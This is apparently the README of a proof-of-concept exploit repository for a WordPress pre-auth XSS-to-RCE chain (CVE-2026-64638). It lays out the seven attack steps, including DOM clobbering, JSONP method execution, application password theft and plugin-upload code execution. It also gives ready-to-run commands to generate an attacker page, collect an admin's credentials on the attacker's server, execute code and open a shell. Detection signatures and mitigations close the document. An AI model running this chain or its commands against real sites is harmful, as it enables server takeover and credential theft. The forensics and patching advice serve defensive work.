XSS2Shell — CVE-2026-64638 PoC

WordPress Pre-Auth XSS → RCE exploit chain, based on research by pwn.ai published on ionsec.io.

⚠️ LEGAL WARNING: For EDUCATIONAL PURPOSES and AUTHORIZED TESTING only. Only use against systems you own or have explicit written permission to test.

Lab Verification

Step	Technique	Status
1	Parser differential XSS (`sanitize_user` + browser parse gap)	✅ Verified
2	DOM clobbering (`<area id=ajaxurl>`, `<div id=color-picker>`)	✅ Verified
3	`user-profile.js` auto-trigger on login page	✅ Verified
4	REST JSONP callback allows dot traversal (`window.opener.approve.click`)	✅ Verified
5	`_method=GET` + `_envelope=1` override	✅ Verified
6	Application password theft (SOME)	⚠️ Requires admin click
7	Plugin upload → PHP execution (no activation)	⚠️ Requires credentials

See lab/VERIFICATION_REPORT.md for full details.

Vulnerability Summary

Exploit Chain (7 Steps)

Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Quick Start

1. Install dependencies

pip install requests

2. Recon target

python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Docker lab (for testing)

cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Verify XSS vector against lab

python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Generate attacker page

python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Upload xss2shell_attacker.html and collect.php to your server.

6. Send link to admin

A logged-in WordPress admin must visit the attacker page and click once.

7. Receive credentials

Credentials appear in collected_creds.json on your server:

[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Execute RCE chain

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Interactive shell

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Cleanup

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Detection (Log Forensics)

Signatures to search for in server logs:

Access log: POST /wp-login.php with body containing < area, < div, < button
Access log: REST request with query parameter _jsonp= (especially _jsonp=a.b.c — the dot is the SOME tell)
Access log: _envelope=1 + _method=GET on routes that should reject them
Access log: POST /wp-admin/update.php?action=upload-plugin from unrecognized IP
Access log: GET /wp-content/plugins/{unknown-plugin}/*.php — PHP file in a never-activated plugin
App log: Application password created within seconds of a request to authorize-application.php

Mitigation

Patch to WordPress 7.0.3 (or latest point release for your branch)
Rotate all administrator application passwords

Disable application passwords if not needed:

add_filter('wp_is_application_passwords_available', '__return_false');

Disable REST JSONP:

add_filter('rest_jsonp_enabled', '__return_false');

Disable file modifications:
```
define('DISALLOW_FILE_MODS', true);
```
WAF rules: Block _jsonp=, _envelope= on REST endpoints; block < area in POST body to wp-login.php

File Structure

xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

References

IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
pwn.ai — Original discovery
WordPress Security Releases

CVE	CVE-2026-64638
CVSS 4.0	8.9
Affected	WordPress 4.7 – 7.0.2 (unpatched point releases)
Fixed	WordPress 7.0.3 (August 6, 2026), backported to all maintenance branches
Auth	Pre-auth (unauthenticated XSS)
Impact	RCE via plugin upload

poc-CVE-2026-64638-

Most Popular